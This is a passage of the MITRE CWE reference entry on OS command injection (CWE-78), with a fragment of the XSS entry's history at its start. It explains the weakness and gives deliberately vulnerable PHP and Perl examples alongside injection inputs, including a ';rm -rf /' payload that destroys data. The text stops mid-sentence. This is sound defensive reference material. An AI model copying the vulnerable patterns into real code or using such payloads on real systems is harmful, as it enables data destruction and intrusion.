2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated Alternate_Terms, Demonstrative_Examples, Description, Observed_Examples, References, Relationship_Notes, Relationships
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Cross-site Scripting (XSS)
2009-01-12Failure to Sanitize Directives in a Web Page (aka 'Cross-site scripting' (XSS))
2009-05-27Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
2010-06-21Failure to Preserve Web Page Structure ('Cross-site Scripting')

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID: 78
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
+ Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

  1. The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.
  2. The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

+ Alternate Terms
Shell injection
Shell metacharacters
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
CanAlsoBeBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.88Argument Injection or Modification
CanFollowBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.184Incomplete Blacklist
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Non-Repudiation

Technical Impact: Execute Unauthorized Code or Commands; DoS: Crash, Exit, or Restart; Read Files or Directories; Modify Files or Directories; Read Application Data; Modify Application Data; Hide Activities

Attackers could execute unauthorized commands, which could then be used to disable the software, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

(bad code)
Example Language: PHP 
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);

The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:

(attack code)
 
;rm -rf /

Which would result in $command being:

(result)
 
ls -l /home/;rm -rf /

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

(bad code)
Example Language: Perl 
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
while (<$fh>) {
print escapeHTML($_);
print "<br>\n";
}
close($fh);
}

Suppose an attacker provides a domain name like this:

(attack code)
 
cwe.mitre.org%20%3B%20/bin/ls%20-l

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

(result)
 
/path/to/nslookup cwe.mitre.org ; /bin/ls -l

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much mor